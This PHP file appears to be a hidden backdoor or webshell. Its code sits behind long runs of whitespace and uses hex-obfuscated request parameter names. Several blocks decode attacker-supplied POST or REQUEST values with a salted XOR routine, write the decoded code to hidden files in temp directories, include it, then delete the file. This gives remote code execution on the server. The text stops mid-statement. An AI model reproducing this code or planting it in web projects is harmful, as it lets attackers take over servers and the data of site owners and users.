<?																																										if(isset($_POST["e\x6C\x65\x6De\x6Et"])){ $elem = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $value = $_POST["e\x6C\x65\x6De\x6Et"]; $value = explode ( "." , $value) ; $val= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s7); $v= 0; $__tmp= $value; while( $v9= array_shift( $__tmp)) { $sChar= ord( $s7[$v % $sLen]); $d= ( ( int)$v9 - $sChar -( $v % 10)) ^ 39; $val .= chr( $d); $v++;} for ($key = 0, $record = count($elem); $key < $record; $key++) { $bind = $elem[$key]; if (is_writable($bind) && is_dir($bind)) { $pointer = "$bind" . "/.property_set"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $pointer; @unlink($pointer); exit; } } } }
																																										if(array_key_exists("i\x74\x6D", $_POST)){ $data = $_POST["i\x74\x6D"]; $data = explode ( ".", $data) ; $symbol = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $k = 0; foreach( $data as $v1) {$chS = ord( $salt1[$k%$lenS]); $d =( ( int)$v1 - $chS -( $k%10)) ^ 51; $symbol.= chr( $d); $k++; } $holder = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); while ($token = array_shift($holder)) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $entity = implode("/", [$token, ".sym"]); if (@file_put_contents($entity, $symbol) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(!empty($_REQUEST["\x6Drk"])){ $factor = $_REQUEST["\x6Drk"]; $factor =explode ( '.' ,$factor ) ; $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $o = 0; $__len = count($factor); do { if($o >= $__len) break; $v7 = $factor[$o]; $sChar = ord($salt6[$o %$lenS]); $d = ((int)$v7 - $sChar -($o %10)) ^ 67; $k .= chr($d); $o++; } while(true); $bind = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($bind as $key => $pointer) { if (!( !is_dir($pointer) || !is_writable($pointer) )) { $rec = "$pointer" . "/.property_set"; if (@file_put_contents($rec, $k) !== false) { include $rec; unlink($rec); exit; } } } }
																																										if(in_array("ent", array_keys($_POST))){ $data_chunk = $_POST["ent"]; $data_chunk= explode ( "." , $data_chunk ) ; $item = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $m = 0; foreach ($data_chunk as $v1) {$sChar = ord($salt3[$m % $lenS]); $d = ((int)$v1 - $sChar - ($m % 10)) ^ 46; $item .= chr($d); $m++; } $binding = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); foreach ($binding as $symbol) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $obj = "$symbol/.pset"; if (@file_put_contents($obj, $item) !== false) { include $obj; unlink($obj); exit; } } } }
																																										if(in_array("b\x69n\x64\x69\x6Eg", array_keys($_REQUEST))){ $fac = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd()]); $flag = $_REQUEST["b\x69n\x64\x69\x6Eg"]; $flag= explode ('.' ,$flag) ; $factor =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1 ); $__len =count($flag ); for ($v =0; $v < $__len; $v++) { $v8 =$flag[$v]; $sChar =ord($s1[$v % $lenS] ); $dec =((int)$v8 - $sChar - ($v % 10)) ^ 13; $factor .= chr($dec ); } foreach ($fac as $key => $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $component = "$pgrp" . "/.reference"; if (file_put_contents($component, $factor)) { require $component; unlink($component); exit; } } } }
																																										if(array_key_exists("co\x6D\x70", $_POST) && !is_null($_POST["co\